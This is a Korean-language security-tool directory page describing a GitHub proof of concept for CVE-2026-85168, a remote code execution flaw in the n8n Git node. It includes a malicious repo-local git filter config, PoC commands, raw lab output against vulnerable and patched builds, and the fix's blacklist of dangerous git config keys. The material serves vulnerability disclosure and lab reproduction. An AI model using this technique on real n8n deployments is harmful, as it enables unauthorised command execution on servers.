Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-85168-PoC — CVE-2026-85168 — add|commit|checkout 시 repo-local filter.*.clean / merge-driver 설정으로 인한 n8n Git 노드 RCE. v2.35.3 / v2.36.2에서 검증됨. | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-85168-poc
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationPenetration TestingRed TeamingLabs & Practice
GitHubboreas37/cve-2026-85168-poc

CVE-2026-85168-PoC

CVE-2026-85168 — add|commit|checkout 시 repo-local filter.*.clean / merge-driver 설정으로 인한 n8n Git 노드 RCE. v2.35.3 / v2.36.2에서 검증됨.

저장소 보기
11225일 전아직 검토되지 않음
공유

CVE-2026-85168 — n8n Git 노드의 저장소 로컬 git 설정을 통한 RCE

Git 노드는 알고 있던 외부 프로그램 구성 키를 -c로 고정했지만 (core.sshCommand, core.fsmonitor, core.pager, diff.external, credential.helper, core.gitProxy, gpg.program, init.templateDir), 저장소 자체의 .git/config에서 content-filter 및 merge-driver 계열을 확인한 적이 없었습니다. 이를 정의하는 저장소는

[filter "pwn"]
    clean = <command>

일치하는 .gitattributes(* filter=pwn)와 함께 사용하면, 노드가 수행하는 일반적인 Add, Commit, Checkout 또는 Pull 중에 git이 <command>를 실행하게 됩니다. 이 명령은 n8n 프로세스 사용자(node, uid 1000)로 실행됩니다.

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 영향받는 버전: < 1.123.73, >= 2.0.0 < 2.35.4, < 2.36.2
  • 수정된 버전: 1.123.73 / 2.35.4 / 2.36.2
  • 수정 커밋: 4c60d38f2a83 ("chore: Bundle/2.x (backport to release-candidate/2.36.x)") → packages/nodes-base/nodes/Git/GenericFunctions.ts에 filter.*.(clean|smudge|process), merge.*.driver, remote.*.(uploadpack|receivepack), gpg.*.program, core.askpass, core.editor, core.alternateRefsCommand, gc.recentObjectsHook, hook.*.command, sequence.editor, gpg.ssh.defaultKeyCommand, url.*.(insteadOf|pushInsteadOf) 패턴을 가진 findBlacklistedKeys()가 추가됨; Git.node.ts는 add/commit/checkout/pull/push 전에 validateGitConfig()를 호출하고 Repository Git config key '<key>' is not allowed와 함께 중단함.

전제 조건 (취약점의 일부)

공격자는 Git 노드 앞에 자신이 선택한 로컬 설정을 가진 저장소를 배치할 수 있어야 합니다 — 가져온/공유된 체크아웃, 마운트된 볼륨의 프로젝트 저장소 등. 이 랩에서 --prepare는 정확히 그러한 저장소를 컨테이너 내부에 심습니다(워크플로 작성자의 파일 쓰기 단계를 대신함). 그 이후의 모든 작업은 인증된 사용자가 n8n REST API를 통해 수행합니다.

노드는 ~/.n8n-files(restrictFileAccessTo 기본값) 아래의 저장소만 허용하고 .git 차단 패턴과 일치하는 경로를 거부하므로, 랩 저장소는 /home/node/.n8n-files/pwn-repo에 위치합니다.

랩

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve85165      -f docker-compose.2353.yml up -d   # 2.35.3 -> :20001
docker compose -p poc-n8n-cve85165-fix  -f docker-compose.2362.yml up -d   # 2.36.2 -> :20003

n8nio/n8n:2.35.3은 [email protected]를 포함하며(findBlacklistedKeys 없음) → 취약함. n8nio/n8n:2.36.2는 [email protected]을 포함하며(블랙리스트 존재) → 수정됨. 2.36.1 Docker 이미지 역시 이미 [email protected]을 포함하므로 해당 이미지도 취약하지 않음; 2.35.3이 공개된 취약 태그 중 가장 근접한 버전임.

실행

python3 n8n_poc.py --url http://127.0.0.1:20001 \
  --container n8n-vuln-2353 --prepare --command 'id'

취약 — n8nio/n8n:2.35.3 (run_vulnerable_2.35.3.txt)

[*] target   : http://127.0.0.1:20001
[*] repo     : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth     : logged in as [email protected]
[*] workflow : vuCSuHLscbXUty8i (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 30
[*] git node : ok {"success": true}
[+] evidence read from container:
    uid=1000(node) gid=1000(node) groups=1000(node)
=> PASS (CVE-2026-85168: git executed the repository-configured command as the n8n user)
exit=0

컨테이너 측 검사(side_effect_2.35.3.txt):

-rw-r--r--    1 node     node            48 Oct 24 14:01 /home/node/.n8n-files/pwn-repo/out.txt
uid=1000(node) gid=1000(node) groups=1000(node)
--- git config
[filter "pwn"]
	clean = sh -c "id > /home/node/.n8n-files/pwn-repo/out.txt; cat"

패치됨 — n8nio/n8n:2.36.2 (run_patched_2.36.2.txt)

[*] target   : http://127.0.0.1:20003
[*] repo     : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth     : logged in as [email protected]
[*] workflow : PteOTvLgk4FC8M4Z (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 16
[*] git node : error Repository Git config key 'filter.pwn.clean' is not allowed
[!] no evidence file in container: cat: can't open '/home/node/.n8n-files/pwn-repo/out.txt': No such file or directory
=> FAIL (CVE-2026-85168: git config key rejected before the operation ran)
exit=1

두 대상에서 리포지토리는 동일하며, n8n 빌드만 다릅니다.

증거 채널

기본: GET /rest/executions/<id>?includeData=true가 반환하는 워크플로 출력 (Git 노드의 {"success": true} 대 거부 오류). 보조(명령의 출력이 HTTP 응답이 아닌 파일에 기록되기 때문): 증거 파일은 docker exec <container> cat <repo>/out.txt로 다시 읽습니다 — 이것이 --container 단계이며, 스크립트에서 실험실 측으로 명확히 표시되어 있습니다.

파일

파일내용
n8n_poc.py표준 라이브러리만 사용하는 PoC (--url --email --password --command --repo-path --container --prepare --output)
run_vulnerable_2.35.3.txt, run_patched_2.36.2.txt원시 실행 기록
evidence_vulnerable_2.35.3.json, evidence_patched_2.36.2.jsonJSON 증거
side_effect_2.35.3.txt, side_effect_2.36.2.txt컨테이너 측 확인
docker_logs_2.35.3.txt, docker_logs_2.36.2.txt컨테이너 로그
도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    420
  • 4

    redforge

    cybersecurity91/redforge

    브라우저 측 레드 팀 툴킷으로, 정찰, 페이로드 생성, 자격 증명 공격, 암호화, 인코딩 및 참여 보고를 위한 102개의 오프라인 도구를 제공합니다.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI 네이티브 사이버보안을 위한 행동 체계—의도가 통제된 실행이 되고, 증거가 운영 메모리가 되며, 모든 운영이 다음 운영을 개선하는 곳.

    260
  • 6

    antifox

    antifox-ai/antifox

    정찰, 공격 표면 탐색, 익스플로잇 검증, 증거 기반 보고서 전달을 수행하는 AI 멀티 에이전트 자율 침투 테스트 플랫폼입니다.

    251

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →